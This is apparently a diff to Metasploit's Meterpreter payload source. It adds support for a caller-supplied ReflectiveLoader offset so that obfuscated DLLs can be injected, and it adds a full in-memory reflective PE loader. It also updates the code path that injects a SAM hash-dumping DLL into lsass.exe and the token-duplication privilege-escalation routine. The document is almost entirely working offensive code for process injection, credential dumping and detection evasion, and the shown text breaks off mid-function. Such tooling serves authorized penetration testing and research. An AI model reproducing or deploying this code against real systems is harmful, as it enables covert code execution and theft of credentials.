diff --git a/c/meterpreter/source/common/common_core.h b/c/meterpreter/source/common/common_core.h
index 85c5c4a5d..4f8d551c8 100644
--- a/c/meterpreter/source/common/common_core.h
+++ b/c/meterpreter/source/common/common_core.h
@@ -151,6 +151,7 @@ typedef enum
TLV_TYPE_MIGRATE_STUB = TLV_VALUE(TLV_META_TYPE_RAW, 411), ///! Represents a migration stub (raw).
TLV_TYPE_LIB_LOADER_NAME = TLV_VALUE(TLV_META_TYPE_STRING, 412), ///! Represents the name of the ReflectiveLoader function (string).
TLV_TYPE_LIB_LOADER_ORDINAL = TLV_VALUE(TLV_META_TYPE_UINT, 413), ///! Represents the ordinal of the ReflectiveLoader function (int).
+ TLV_TYPE_LIB_LOADER_OFFSET = TLV_VALUE(TLV_META_TYPE_UINT, 414), ///! Represents the offset of the ReflectiveLoader function (unsigned int).
// Transport switching
TLV_TYPE_TRANS_TYPE = TLV_VALUE(TLV_META_TYPE_UINT, 430), ///! Represents the type of transport to switch to.
diff --git a/c/meterpreter/source/common/common_metapi.h b/c/meterpreter/source/common/common_metapi.h
index 844e23407..8b05af3b4 100644
--- a/c/meterpreter/source/common/common_metapi.h
+++ b/c/meterpreter/source/common/common_metapi.h
@@ -4,15 +4,19 @@
*/
#ifndef _METERPRETER_COMMON_METAPI_H
#define _METERPRETER_COMMON_METAPI_H
-
#include "common_winapi.h"
+typedef struct _ReflectiveLoaderApi
+{
+ HANDLE (WINAPI *LoadRemoteLibraryR)(HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPCSTR cpReflectiveLoaderName, DWORD dwActualReflectiveLoaderOffset, LPVOID lpParameter);
+} ReflectiveLoaderApi;
typedef struct _InjectApi
{
- DWORD(*dll)(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, LPVOID lpArg, SIZE_T stArgSize);
+ DWORD(*dll)(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, DWORD dwActualReflectiveLoaderOffset, LPVOID lpArg, SIZE_T stArgSize);
DWORD(*via_apcthread)(Remote* remote, Packet* response, HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter);
DWORD(*via_remotethread)(Remote* remote, Packet* response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter);
DWORD(*via_remotethread_wow64)(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* pThread);
+ ReflectiveLoaderApi reflective_loader;
} InjectApi;
typedef struct _ChannelApi
diff --git a/c/meterpreter/source/common/common_winapi.h b/c/meterpreter/source/common/common_winapi.h
index 5718a4e57..d769e9964 100644
--- a/c/meterpreter/source/common/common_winapi.h
+++ b/c/meterpreter/source/common/common_winapi.h
@@ -65,6 +65,7 @@ typedef struct _WinApiKernel32 {
SIZE_T (*VirtualQuery)(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength);
SIZE_T (*VirtualQueryEx)(HANDLE hProcess, LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength);
BOOL (*VirtualFree)(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
+ BOOL (*VirtualFreeEx)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
HANDLE (*CreateRemoteThread)(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
BOOL (*CloseHandle)(HANDLE hObject);
BOOL (*DuplicateHandle)(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions);
diff --git a/c/meterpreter/source/extensions/priv/passwd.c b/c/meterpreter/source/extensions/priv/passwd.c
index 81ce63a4b..895530eb1 100644
--- a/c/meterpreter/source/extensions/priv/passwd.c
+++ b/c/meterpreter/source/extensions/priv/passwd.c
@@ -503,7 +503,11 @@ DWORD __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresul
dprintf("[PASSWD] Injecting into lsass.exe pid: %u", dwLsassPid);
/* todo: change the ReflectiveLoader string here, it's silly */
- if ((dwResult = met_api->inject.dll(dwLsassPid, dwLsassArch, dump_sam, (DWORD)stResourceSize, LOADER_ORDINAL(EXPORT_REFLECTIVELOADER), pvParameterMemory, 0)) != ERROR_SUCCESS)
+ /* Currently is hard to support obfuscation of dump_sam.
+ Due to how dump_sam is embedded inside the priv extension.
+ Hardcoding offset to 0 so it will use the original `ReflectiveLoader`
+ */
+ if ((dwResult = met_api->inject.dll(dwLsassPid, dwLsassArch, dump_sam, (DWORD)stResourceSize, LOADER_ORDINAL(EXPORT_REFLECTIVELOADER), 0, pvParameterMemory, 0)) != ERROR_SUCCESS)
BREAK_WITH_ERROR("[PASSWD} Unable to inject DLL", dwResult);
dprintf("[PASSWD] Successfully injected the DLL into lsass.exe");
diff --git a/c/meterpreter/source/extensions/priv/tokendup.c b/c/meterpreter/source/extensions/priv/tokendup.c
index 04fc46e7c..8f0b38c7e 100644
--- a/c/meterpreter/source/extensions/priv/tokendup.c
+++ b/c/meterpreter/source/extensions/priv/tokendup.c
@@ -1,8 +1,6 @@
#include "precomp.h"
#include "common_metapi.h"
#include "tokendup.h"
-#include "../../ReflectiveDLLInjection/inject/src/LoadLibraryR.h"
-#include "../../ReflectiveDLLInjection/inject/src/LoadLibraryR.c"
/*
* Enable or disable a privilege in our processes current token.
@@ -79,6 +77,7 @@ DWORD elevate_via_service_tokendup( Remote * remote, Packet * packet )
do
{
LPCSTR reflectiveLoader = met_api->packet.get_tlv_value_reflective_loader(packet);
+ DWORD dwActualReflectiveLoaderOffset = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_LIB_LOADER_OFFSET);
// only works on x86 systems for now...
if( elevate_getnativearch() != PROCESS_ARCH_X86 )
@@ -156,7 +155,7 @@ DWORD elevate_via_service_tokendup( Remote * remote, Packet * packet )
break;
// use RDI to inject the elevator.dll into the remote process, passing in the command line to elevator.dll
- hThread = LoadRemoteLibraryR( hProcess, lpServiceBuffer, dwServiceLength, reflectiveLoader, lpRemoteCommandLine );
+ hThread = met_api->inject.reflective_loader.LoadRemoteLibraryR( hProcess, lpServiceBuffer, dwServiceLength, reflectiveLoader, dwActualReflectiveLoaderOffset, lpRemoteCommandLine );
if( !hThread )
break;
diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/process/ps.c b/c/meterpreter/source/extensions/stdapi/server/sys/process/ps.c
index 53be9b1aa..9cfe51cf1 100644
--- a/c/meterpreter/source/extensions/stdapi/server/sys/process/ps.c
+++ b/c/meterpreter/source/extensions/stdapi/server/sys/process/ps.c
@@ -71,7 +71,8 @@ DWORD ps_inject( DWORD dwPid, DLL_BUFFER * pDllBuffer, LPCSTR reflectiveLoader,
if( dwDllArch != dwPidArch )
BREAK_WITH_ERROR( "[PS] ps_inject_dll. pid/dll architecture mixup", ERROR_BAD_ENVIRONMENT );
- dwResult = met_api->inject.dll( dwPid, dwPidArch, lpDllBuffer, dwDllLength, reflectiveLoader, cpCommandLine, strlen(cpCommandLine) + 1 );
+ // TODO: support offset for obfuscated dlls
+ dwResult = met_api->inject.dll( dwPid, dwPidArch, lpDllBuffer, dwDllLength, reflectiveLoader, 0, cpCommandLine, strlen(cpCommandLine) + 1 );
} while( 0 );
return dwResult;
diff --git a/c/meterpreter/source/extensions/stdapi/server/ui/desktop.c b/c/meterpreter/source/extensions/stdapi/server/ui/desktop.c
index 93d2e59db..1e76f9c0c 100644
--- a/c/meterpreter/source/extensions/stdapi/server/ui/desktop.c
+++ b/c/meterpreter/source/extensions/stdapi/server/ui/desktop.c
@@ -427,6 +427,10 @@ DWORD request_ui_desktop_screenshot(Remote * remote, Packet * request)
}
LPCSTR reflectiveLoader = met_api->packet.get_tlv_value_reflective_loader(request);
+ /* TODO: Get optional offset for external reflective loader
+ * Modify the DLL_BUFFER struct to support offsets...
+ * another note is to remove / update this technique to a better one.
+ */
// get the x86 and x64 screenshot dll's. we are not obliged to send both but we reduce the number of processes
// we can inject into (wow64 and x64) if we only send one type on an x64 system. If we are on an x86 system
diff --git a/c/meterpreter/source/metsrv/base_inject.c b/c/meterpreter/source/metsrv/base_inject.c
index 276128947..7387d0df6 100644
--- a/c/meterpreter/source/metsrv/base_inject.c
+++ b/c/meterpreter/source/metsrv/base_inject.c
@@ -654,7 +654,7 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW
*/
-DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, LPVOID lpArg, SIZE_T stArgSize)
+DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, DWORD dwActualReflectiveLoaderOffset, LPVOID lpArg, SIZE_T stArgSize)
{
DWORD dwResult = ERROR_ACCESS_DENIED;
LPVOID lpRemoteArg = NULL;
@@ -672,6 +672,10 @@ DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD
// check if the library has a ReflectiveLoader...
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpDllBuffer, reflectiveLoader);
+ if(dwActualReflectiveLoaderOffset != 0) {
+ dprintf("[INJECT] inject_dll. Overriding ReflectiveLoader offset with supplied value: 0x%08X", dwActualReflectiveLoaderOffset);
+ dwReflectiveLoaderOffset = dwActualReflectiveLoaderOffset;
+ }
if (!dwReflectiveLoaderOffset)
BREAK_WITH_ERROR("[INJECT] inject_dll. GetReflectiveLoaderOffset failed.", ERROR_INVALID_FUNCTION);
diff --git a/c/meterpreter/source/metsrv/base_inject.h b/c/meterpreter/source/metsrv/base_inject.h
index 4c639b5b3..e5effa347 100644
--- a/c/meterpreter/source/metsrv/base_inject.h
+++ b/c/meterpreter/source/metsrv/base_inject.h
@@ -98,7 +98,7 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW
DWORD inject_via_remotethread_wow64(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread);
-DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, LPVOID lpArg, SIZE_T stArgSize);
+DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, DWORD dwActualReflectiveLoaderOffset, LPVOID lpArg, SIZE_T stArgSize);
BOOL supports_poolparty_injection(DWORD dwSourceArch, DWORD dwDestinationArch);
//===============================================================================================//
#endif
diff --git a/c/meterpreter/source/metsrv/extension_loader.c b/c/meterpreter/source/metsrv/extension_loader.c
new file mode 100755
index 000000000..455dcf446
--- /dev/null
+++ b/c/meterpreter/source/metsrv/extension_loader.c
@@ -0,0 +1,283 @@
+#include "extension_loader.h"
+#include "common_metapi.h"
+#include "common_exports.h"
+#include "metsrv.h"
+
+BOOL FixRelocations(PIMAGE_DATA_DIRECTORY dRelocBaseAddress, ULONG_PTR pBaseAddress, ULONG_PTR pPreferrableAddress)
+{
+ ULONG_PTR delta = pBaseAddress - pPreferrableAddress;
+ PIMAGE_BASE_RELOCATION pBaseRelocationTable = (PIMAGE_BASE_RELOCATION)(pBaseAddress + dRelocBaseAddress->VirtualAddress);
+ PBASE_RELOCATION_ENTRY pBaseRelocEntry = NULL;
+
+ while (pBaseRelocationTable->SizeOfBlock != 0)
+ {
+ pBaseRelocEntry = (PBASE_RELOCATION_ENTRY)(pBaseRelocationTable + 1);
+ while ((PBYTE)pBaseRelocEntry != (PBYTE)pBaseRelocationTable + pBaseRelocationTable->SizeOfBlock)
+ {
+ switch (pBaseRelocEntry->Type)
+ {
+ case IMAGE_REL_BASED_ABSOLUTE:
+ break;
+ case IMAGE_REL_BASED_DIR64:
+ *((ULONG_PTR*)(pBaseAddress + pBaseRelocationTable->VirtualAddress + pBaseRelocEntry->Offset)) += delta;
+ break;
+ case IMAGE_REL_BASED_HIGHLOW:
+ *((DWORD*)(pBaseAddress + pBaseRelocationTable->VirtualAddress + pBaseRelocEntry->Offset)) += (DWORD)delta;
+ break;
+ #if defined(_M_ARM)
+ case IMAGE_REL_BASED_ARM_MOV32T:
+ DWORD dwInstruction = *(DWORD *)((ULONG_PTR)pBaseAddress + pBaseRelocationTable->VirtualAddress + pBaseRelocEntry->Offset + sizeof(DWORD));
+ // Flip the words to get the instruction as expected (account for endianness/instruction packing).
+ dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
+ if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT)
+ {
+ // Pull out the encoded 16-bit immediate value (high portion of the address-to-relocate).
+ WORD wImm = (WORD)(dwInstruction & 0x000000FF);
+ wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
+ wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
+ wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
+ // Apply the relocation delta to the target address.
+ DWORD dwAddress = ((WORD)HIWORD(uiDelta) + wImm) & 0xFFFF;
+ // Create a new instruction with the same opcode and register parameters.
+ dwInstruction &= ARM_MOV_MASK2;
+ // Patch in the relocated address, re-encoding the immediate value.
+ dwInstruction |= (DWORD)(dwAddress & 0x00FF);
+ dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
+ dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
+ dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
+ // Flip the instructions words and patch back into the code.
+ *(DWORD *)((ULONG_PTR)pBaseAddress + pBaseRelocationTable->VirtualAddress + pBaseRelocEntry->Offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
+ }
+ #endif
+ case IMAGE_REL_BASED_HIGH:
+ *((WORD*)(pBaseAddress + pBaseRelocationTable->VirtualAddress + pBaseRelocEntry->Offset)) += HIWORD(delta);
+ break;
+ case IMAGE_REL_BASED_LOW:
+ *((WORD*)(pBaseAddress + pBaseRelocationTable->VirtualAddress + pBaseRelocEntry->Offset)) += LOWORD(delta);
+ break;
+ default:
+ dprintf("[FIXRELOC] Unknown relocation type: %d", pBaseRelocEntry->Type);
+ return FALSE;
+
+ }
+
+ pBaseRelocEntry = pBaseRelocEntry + 1;
+ }
+ pBaseRelocationTable = (PIMAGE_BASE_RELOCATION)((PBYTE)pBaseRelocationTable + pBaseRelocationTable->SizeOfBlock);
+ }
+
+ return TRUE;
+}
+
+BOOL FixIAT(PIMAGE_DATA_DIRECTORY pDataDirectoryImportTable, PBYTE pBaseAddress) {
+
+ PIMAGE_IMPORT_DESCRIPTOR ImportDescriptor = NULL;
+ ULONG_PTR fncPointer = 0;
+ HANDLE hModule = NULL;
+
+ for (SIZE_T i = 0; i < pDataDirectoryImportTable->Size; i += sizeof(IMAGE_IMPORT_DESCRIPTOR)) {
+
+ ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(pBaseAddress + pDataDirectoryImportTable->VirtualAddress + i);
+
+ if (ImportDescriptor->OriginalFirstThunk == 0 && ImportDescriptor->FirstThunk == 0)
+ break;
+
+ LPCSTR dllName = (LPSTR)(pBaseAddress + ImportDescriptor->Name);
+
+ PIMAGE_THUNK_DATA pINT = (PIMAGE_THUNK_DATA)(pBaseAddress + ImportDescriptor->OriginalFirstThunk);
+ PIMAGE_THUNK_DATA pIAT = (PIMAGE_THUNK_DATA)(pBaseAddress + ImportDescriptor->FirstThunk);
+
+ hModule = LoadLibraryA(dllName);
+
+ if (hModule == NULL)
+ {
+ dprintf("[LOADREFLECTIVELY] Failed to load DLL %s\n", dllName);
+ return FALSE;
+ }
+
+ while (pIAT->u1.Function != 0 || pINT->u1.Function != 0) {
+ LPCSTR fncName = NULL;
+
+ if (IMAGE_SNAP_BY_ORDINAL(pINT->u1.Ordinal))
+ {
+ // import by ordinal
+ //fncPointer = (ULONG_PTR)GetProcAddress(hModule, (LPCSTR)(IMAGE_ORDINAL(pINT->u1.Ordinal)));
+ fncName = (LPCSTR)MAKEINTRESOURCEA(IMAGE_ORDINAL(pINT->u1.Ordinal));
+ }
+ else {
+
+ // import by name
+ PIMAGE_IMPORT_BY_NAME pImgImportByName = (PIMAGE_IMPORT_BY_NAME)(pBaseAddress + pINT->u1.AddressOfData);
+ fncName = pImgImportByName->Name;
+ }
+
+ fncPointer = (ULONG_PTR)GetProcAddress(hModule, fncName);
+ if (fncPointer == 0)
+ {
+ dprintf("[LOADREFLECTIVELY] Failed to resolve function in DLL %s\n", dllName);
+ return FALSE;
+ }
+ pIAT->u1.Function = fncPointer;
+
+ pINT = (PIMAGE_THUNK_DATA)((PBYTE)(pINT)+sizeof(IMAGE_THUNK_DATA));
+ pIAT = (PIMAGE_THUNK_DATA)((PBYTE)(pIAT)+sizeof(IMAGE_THUNK_DATA));
+ }
+
+ }
+
+ return TRUE;
+}
+
+BOOL FixPermissions(PIMAGE_NT_HEADERS pNtHeaders, PBYTE pBaseAddress)
+{
+ PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((PBYTE)(&(pNtHeaders->OptionalHeader)) + pNtHeaders->FileHeader.SizeOfOptionalHeader);
+ DWORD dwProtection, dwOldFlags;
+
+ for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
+ {
+ dwProtection = 0;
+
+ if (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE)
+ dwProtection = PAGE_WRITECOPY;
+
+ if (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_READ)
+ dwProtection = PAGE_READONLY;
+
+ if ((pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE) && (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_READ))
+ dwProtection = PAGE_READWRITE;
+
+ if (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE)
+ dwProtection = PAGE_EXECUTE;
+
+ if ((pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE))
+ dwProtection = PAGE_EXECUTE_WRITECOPY;
+
+ if ((pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_READ))
+ dwProtection = PAGE_EXECUTE_READ;
+
+ if ((pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE) && (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_READ))
+ dwProtection = PAGE_EXECUTE_READWRITE;
+
+ dprintf("[FIXPERM] Setting permissions for section %p to %x with size %x\n",pBaseAddress + pSectionHeader[i].VirtualAddress , dwProtection, pSectionHeader[i].SizeOfRawData);
+ LPVOID lpAddress = (PBYTE)pBaseAddress + pSectionHeader[i].VirtualAddress;
+ SIZE_T dwSectionSize = pSectionHeader[i].SizeOfRawData;
+ if(dwSectionSize != 0 && met_api->win_api.kernel32.VirtualProtect(lpAddress, dwSectionSize, dwProtection, &dwOldFlags) == 0)
+ {
+ dprintf("[LOADREFLECTIVELY] Failed to fix permissions for section %d\n", i);
+ return FALSE;
+ }
+
+ }
+
+ return TRUE;
+
+}
+
+BOOL LoadReflectively(IN ULONG_PTR lpBuffer, OUT HMODULE *phModule) {
+
+ dprintf("[LOADREFLECTIVELY] Loading library reflectively from buffer %p\n", lpBuffer);
+ PBYTE pBaseAddress = (PBYTE)lpBuffer;
+ PBYTE pDLLBaseAddress = NULL;
+ PIMAGE_SECTION_HEADER pSectionHeader = NULL;
+ DWORD dwResult = ERROR_SUCCESS;
+ *phModule = NULL;
+ do {
+ PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)(lpBuffer);
+
+ if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
+ {
+ BREAK_WITH_ERROR("[LOADREFLECTIVELY] DOS signature not valid\n", ERROR_INVALID_DATA);
+ }
+
+ PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(pDosHeader->e_lfanew + pBaseAddress);
+
+ if(pNtHeaders->Signature != IMAGE_NT_SIGNATURE)
+ {
+ BREAK_WITH_ERROR("[LOADREFLECTIVELY] NT signature not valid\n", ERROR_INVALID_DATA);
+ }
+ dprintf("[LOADREFLECTIVELY] PE headers are valid\n");
+
+ dprintf("[LOADREFLECTIVELY] Allocating memory for the library\n");
+ pDLLBaseAddress = (PBYTE)met_api->win_api.kernel32.VirtualAlloc(NULL, pNtHeaders->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
+
+ if (pDLLBaseAddress == NULL)
+ {
+ BREAK_WITH_ERROR("[LOADREFLECTIVELY] VirtualAlloc failed\n", ERROR_OUTOFMEMORY);
+ }
+
+ dprintf("[LOADREFLECTIVELY] Allocation successful, got %p\n", pDLLBaseAddress);
+
+ pSectionHeader = (PIMAGE_SECTION_HEADER)((PBYTE)(&(pNtHeaders->OptionalHeader)) + pNtHeaders->FileHeader.SizeOfOptionalHeader);
+
+ DWORD dwSizeOfHeaders = pNtHeaders->OptionalHeader.SizeOfHeaders;
+ PBYTE pSourceBase = pBaseAddress;
+ PBYTE pDestinationBase = pDLLBaseAddress;
+
+ dprintf("[LOADREFLECTIVELY] Copying headers\n");
+
+ while (dwSizeOfHeaders--)
+ *pDestinationBase++ = *pSourceBase++;
+
+ dprintf("[LOADREFLECTIVELY] Copying PE sections\n");
+
+ // 1. Copy the PE sections to the new location
+ for(DWORD i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
+ {
+
+ PBYTE pDestinationBase = pDLLBaseAddress + pSectionHeader[i].VirtualAddress;
+ PBYTE pSourceBase = pBaseAddress + pSectionHeader[i].PointerToRawData;
+ DWORD dwSizeOfHeaders = pSectionHeader[i].SizeOfRawData;
+ dprintf("[LOADREFLECTIVELY] Copying section %p to %p with length %x\n", pSourceBase, pDestinationBase, dwSizeOfHeaders);
+ while (dwSizeOfHeaders--)
+ *pDestinationBase++ = *pSourceBase++;
+ }
+
+ // 2. Get all necessary sections
+ PIMAGE_DATA_DIRECTORY pImportTableDirectory = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
+ PIMAGE_DATA_DIRECTORY pRelocationTableDirectory = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
+
+ // 3. Fix relocations
+ dprintf("[LOADREFLECTIVELY] Fixing relocations\n");
+ if(pRelocationTableDirectory->Size > 0 && !FixRelocations(pRelocationTableDirectory, (ULONG_PTR)pDLLBaseAddress, pNtHeaders->OptionalHeader.ImageBase))
+ {
+ BREAK_WITH_ERROR("[LOADREFLECTIVELY] Failed to fix relocations\n", ERROR_INVALID_DATA);
+ }
+
+ // 4. Fix the IAT
+ dprintf("[LOADREFLECTIVELY] Fixing IAT\n");
+ if(!FixIAT(pImportTableDirectory, pDLLBaseAddress))
+ {
+ BREAK_WITH_ERROR("[LOADREFLECTIVELY] Failed to fix IAT\n", ERROR_INVALID_DATA);
+ }
+
+ // 5. Set the correct permissions for the sections
+ dprintf("[LOADREFLECTIVELY] Fixing permissions\n");
+ if(!FixPermissions(pNtHeaders, pDLLBaseAddress))
+ {
+ BREAK_WITH_ERROR("[LOADREFLECTIVELY] Failed to fix permissions\n", ERROR_INVALID_DATA);
+ }
+
+ // 6. Call the entry point
+
+ dprintf("[LOADREFLECTIVELY] Calling entry point\n");
+ DLLMAIN dEntryPoint = (DLLMAIN)(pDLLBaseAddress + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
+
+ if (dEntryPoint((HINSTANCE)pDLLBaseAddress, DLL_PROCESS_ATTACH, NULL) == FALSE)
+ {
+ BREAK_WITH_ERROR("[LOADREFLECTIVELY] DllMain returned FALSE\n", ERROR_INVALID_DATA);
+ }
+
+ *phModule = (HMODULE)pDLLBaseAddress;
+ }while(FALSE);
+
+ if(dwResult != ERROR_SUCCESS)
+ {
+ if(pDLLBaseAddress != NULL)
+ {
+ met_api->win_api.kernel32.VirtualFree(pDLLBaseAddress, 0, MEM_RELEASE);
+ }
+ dprintf("[LOADREFLECTIVELY] Failed to load library reflectively with error code %d\n", dwResult);
+ return FALSE;
+ }
+ return TRUE;
+}
\ No newline at end of file
diff --git a/c/meterpreter/source/metsrv/extension_loader.h b/c/meterpreter/source/metsrv/extension_loader.h
new file mode 100755
index 000000000..cdd88b378
--- /dev/null
+++ b/c/meterpreter/source/metsrv/extension_loader.h
@@ -0,0 +1,11 @@
+#ifndef _METERPRETER_METSRV_EXTENSION_LOADER_H
+#define _METERPRETER_METSRV_EXTENSION_LOADER_H
+#include "common.h"
+
+typedef struct _BASE_RELOCATION_ENTRY {
+ WORD Offset : 12; // Specifies where the base relocation is to be applied.
+ WORD Type : 4; // Indicates the type of base relocation to be applied.
+} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;
+
+BOOL LoadReflectively(IN ULONG_PTR lpBuffer, OUT HMODULE* phModule);
+#endif // _METERPRETER_METSRV_EXTENSION_LOADER_H
\ No newline at end of file
diff --git a/c/meterpreter/source/metsrv/load_library_r.c b/c/meterpreter/source/metsrv/load_library_r.c
new file mode 100644
index 000000000..b2374fc84
--- /dev/null
+++ b/c/meterpreter/source/metsrv/load_library_r.c
@@ -0,0 +1,224 @@
+// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without modification, are permitted
+// provided that the following conditions are met:
+//
+// * Redistributions of source code must retain the above copyright notice, this list of
+// conditions and the following disclaimer.
+//
+// * Redistributions in binary form must reproduce the above copyright notice, this list of
+// conditions and the following disclaimer in the documentation and/or other materials provided
+// with the distribution.
+//
+// * Neither the name of Harmony Security nor the names of its contributors may be used to
+// endorse or promote products derived from this software without specific prior written permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
+// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
+// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+// POSSIBILITY OF SUCH DAMAGE.
+//===============================================================================================//
+#include "common.h"
+#include "common_metapi.h"
+#include "load_library_r.h"
+
+static DWORD Rva2Offset(DWORD dwRva, PIMAGE_NT_HEADERS pNtHeaders)
+{
+ PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);
+
+ // Iterate through the PE sections to find which one contains the RVA.
+ for (WORD i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++, pSectionHeader++)
+ {
+ // Check if the RVA is within the current section's virtual address space.
+ // We use VirtualSize for the upper bound, as this is the true size of the
+ // section in memory. SizeOfRawData is its size on disk, which can be smaller,
+ // and using it can lead to failing to find RVAs on some platforms (e.g., ARM64).
+ if (dwRva >= pSectionHeader->VirtualAddress && dwRva < (pSectionHeader->VirtualAddress + pSectionHeader->Misc.VirtualSize))
+ {
+ // The file offset is calculated by taking the RVA, subtracting the section's
+ // base virtual address, and adding the section's file offset (PointerToRawData).
+ return (dwRva - pSectionHeader->VirtualAddress + pSectionHeader->PointerToRawData);
+ }
+ }
+
+ // If the RVA was not found in any section, it must be within the PE header itself.
+ // In this case, the RVA is the same as the file offset.
+ if (dwRva < pNtHeaders->OptionalHeader.SizeOfHeaders)
+ {
+ return dwRva;
+ }
+
+ return 0;
+}
+
+DWORD GetReflectiveLoaderOffset(VOID* lpReflectiveDllBuffer, LPCSTR cpReflectiveLoaderName)
+{
+ UINT_PTR uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;
+ PIMAGE_DOS_HEADER pDosHeader = NULL;
+ PIMAGE_NT_HEADERS pNtHeaders = NULL;
+
+ // Validate the PE headers.
+ pDosHeader = (PIMAGE_DOS_HEADER)uiBaseAddress;
+ if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
+ return 0;
+
+ pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + pDosHeader->e_lfanew);
+ if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE)
+ return 0;
+
+ // Get the export directory RVA.
+ PIMAGE_DATA_DIRECTORY pDataDirectory = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
+ if (pDataDirectory->VirtualAddress == 0)
+ return 0;
+
